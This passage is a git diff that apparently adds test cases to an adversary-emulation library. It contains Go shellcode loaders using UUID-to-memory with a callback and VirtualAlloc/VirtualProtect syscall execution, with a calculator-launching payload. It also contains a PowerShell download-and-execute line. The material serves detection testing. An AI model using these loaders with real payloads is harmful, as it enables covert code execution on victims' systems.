0 { + log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err)) + } + + if *verbose { + fmt.Println(fmt.Sprintf("Heap allocated: 0x%x", addr)) + } + + if *debug { + fmt.Println("[DEBUG]Iterating over UUIDs and calling UuidFromStringA...") + } + + /* + RPC_STATUS UuidFromStringA( + RPC_CSTR StringUuid, + UUID *Uuid + ); + */ + + addrPtr := addr + for _, uuid := range uuids { + // Must be a RPC_CSTR which is null terminated + u := append([]byte(uuid), 0) + + // Only need to pass a pointer to the first character in the null terminated string representation of the UUID + rpcStatus, _, err := uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr) + + // RPC_S_OK = 0 + if rpcStatus != 0 { + log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err)) + } + + addrPtr += 16 + } + if *verbose { + fmt.Println("Completed loading UUIDs to memory with UuidFromStringA") + } + + /* + BOOL EnumSystemLocalesA( + LOCALE_ENUMPROCA lpLocaleEnumProc, + DWORD dwFlags + ); + */ + + // Execute Shellcode + if *debug { + fmt.Println("[DEBUG]Calling EnumSystemLocalesA to execute shellcode") + } + ret, _, err := enumSystemLocalesA.Call(addr, 0) + if ret == 0 { + log.Fatal(fmt.Sprintf("EnumSystemLocalesA GetLastError: %s", err)) + } + if *verbose { + fmt.Println("Executed shellcode") + } + +} + +// shellcodeToUUID takes in shellcode bytes, pads it to 16 bytes, breaks them into 16 byte chunks (size of a UUID), +// converts the first 8 bytes into Little Endian format, creates a UUID from the bytes, and returns an array of UUIDs +func shellcodeToUUID(shellcode []byte) ([]string, error) { + + // Pad shellcode to 16 bytes, the size of a UUID + if 16-len(shellcode)%16 < 16 { + pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16) + shellcode = append(shellcode, pad...) + } + + var uuids []string + + for i := 0; i < len(shellcode); i += 16 { + var uuidBytes []byte + + // This seems unecessary or overcomplicated way to do this + + // Add first 4 bytes + buf := make([]byte, 4) + binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4])) + uuidBytes = append(uuidBytes, buf...) + + // Add next 2 bytes + buf = make([]byte, 2) + binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6])) + uuidBytes = append(uuidBytes, buf...) + + // Add next 2 bytes + buf = make([]byte, 2) + binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8])) + uuidBytes = append(uuidBytes, buf...) + + // Add remaining + uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...) + + u, err := uuid.FromBytes(uuidBytes) + if err != nil { + return nil, fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err) + } + + uuids = append(uuids, u.String()) + } + return uuids, nil +} + +// export GOOS=windows GOARCH=amd64;go build -o UuidFromStringA.exe ./UuidFromStringA.go diff --git a/atomics/T1106/T1106.yaml b/atomics/T1106/T1106.yaml index ca81b304..2ebc297d 100644 --- a/atomics/T1106/T1106.yaml +++ b/atomics/T1106/T1106.yaml @@ -56,3 +56,23 @@ atomic_tests: command: |- iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1') name: powershell +- name: Run Shellcode via Syscall in Go + description: | + Runs shellcode in the current running process via a syscall. + + Steps taken with this technique + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Use syscall to execute the entrypoint of the shellcode + + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall) + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + $PathToAtomicsFolder\T1106\bin\x64\syscall.exe -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue \ No newline at end of file diff --git a/atomics/T1106/bin/x64/Syscall.exe b/atomics/T1106/bin/x64/Syscall.exe new file mode 100644 index 00000000..5de60590 Binary files /dev/null and b/atomics/T1106/bin/x64/Syscall.exe differ diff --git a/atomics/T1106/src/x64/Syscall.go b/atomics/T1106/src/x64/Syscall.go new file mode 100644 index 00000000..d767762e --- /dev/null +++ b/atomics/T1106/src/x64/Syscall.go @@ -0,0 +1,120 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/Syscall/main.go + +/* +This program executes shellcode in the current process using the following steps + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Use syscall to execute the entrypoint of the shellcode + +This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. +*/ + +package main + +import ( + "encoding/hex" + "flag" + "fmt" + "log" + "syscall" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +const ( + // MEM_COMMIT is a Windows constant used with Windows API calls + MEM_COMMIT = 0x1000 + // MEM_RESERVE is a Windows constant used with Windows API calls + MEM_RESERVE = 0x2000 + // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls + PAGE_EXECUTE_READ = 0x20 + // PAGE_READWRITE is a Windows constant used with Windows API calls + PAGE_READWRITE = 0x04 +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + flag.Parse() + + // Pop Calc Shellcode + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + if *debug { + fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll") + } + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + if *debug { + fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures") + } + VirtualAlloc := kernel32.NewProc("VirtualAlloc") + VirtualProtect := kernel32.NewProc("VirtualProtect") + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") + + if *debug { + fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode") + } + addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAlloc failed and returned 0") + } + + if *verbose { + fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode))) + } + + if *debug { + fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory") + } + _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode copied to memory") + } + + if *debug { + fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ") + } + + oldProtect := PAGE_READWRITE + _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ") + } + + if *debug { + fmt.Println("[DEBUG]Executing Shellcode") + } + _, _, errSyscall := syscall.Syscall(addr, 0, 0, 0, 0) + + if errSyscall != 0 { + log.Fatal(fmt.Sprintf("[!]Error executing shellcode syscall:\r\n%s", errSyscall.Error())) + } + if *verbose { + fmt.Println("[+]Shellcode Executed") + } +} + +// export GOOS=windows GOARCH=amd64;go build -o Syscall.exe ./Syscall.go